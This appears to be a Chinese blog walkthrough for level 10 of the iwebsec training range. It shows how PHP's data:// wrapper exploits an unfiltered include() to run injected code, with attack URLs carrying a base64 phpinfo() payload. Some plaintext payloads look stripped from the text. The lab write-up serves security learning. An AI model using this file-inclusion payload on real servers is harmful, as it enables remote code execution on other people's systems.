iwebsec靶场 文件包含漏洞通关笔记10-data伪协议利用

目录

前言

1.data伪协议

2.使用条件

第10关 data://伪协议利用

1.打开靶场

2.源码分析

3.渗透

(1)明文渗透

 (2)base64编码渗透


前言

1.data伪协议

data协议和input协议差不多,指定data是get方法,而input是post方法

常用方法为

?file=data://,
?file=data://text/html,
?file=data:text/html,
?file=data://text/html;base64,PD9waHAgcGhwaW5mbygpOz8+
?file=data:text/html;base64,PD9waHAgcGhwaW5mbygpOz8+

2.使用条件

使用条件:
1.allow_url_fopen: on
2.allow_url_include:on

第10关 data://伪协议利用

1.打开靶场

http://iwebsec.com:81/fi/10.php

 访问后如下所示,提示使用data协议进行渗透

iwebsec靶场 文件包含漏洞通关笔记10-data伪协议利用_第1张图片

2.源码分析

如下所示include函数对参数没有任何过滤,存在文件包含漏洞



	
		data://伪协议利用
	
	

data://伪协议利用

/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

3.渗透

(1)明文渗透

http://iwebsec.com:81/fi/10.php?filename=data:text/html, 

iwebsec靶场 文件包含漏洞通关笔记10-data伪协议利用_第2张图片

 (2)base64编码渗透

PD9waHAgcGhwaW5mbygpOz8%2b是的base64编码

iwebsec靶场 文件包含漏洞通关笔记10-data伪协议利用_第3张图片

于是构造如下data协议,即

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

故而文件包含渗透url为

http://iwebsec.com:81/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

iwebsec靶场 文件包含漏洞通关笔记10-data伪协议利用_第4张图片

你可能感兴趣的:(iwebsec靶场,网络安全,安全,php,web安全,渗透测试,iwebsec)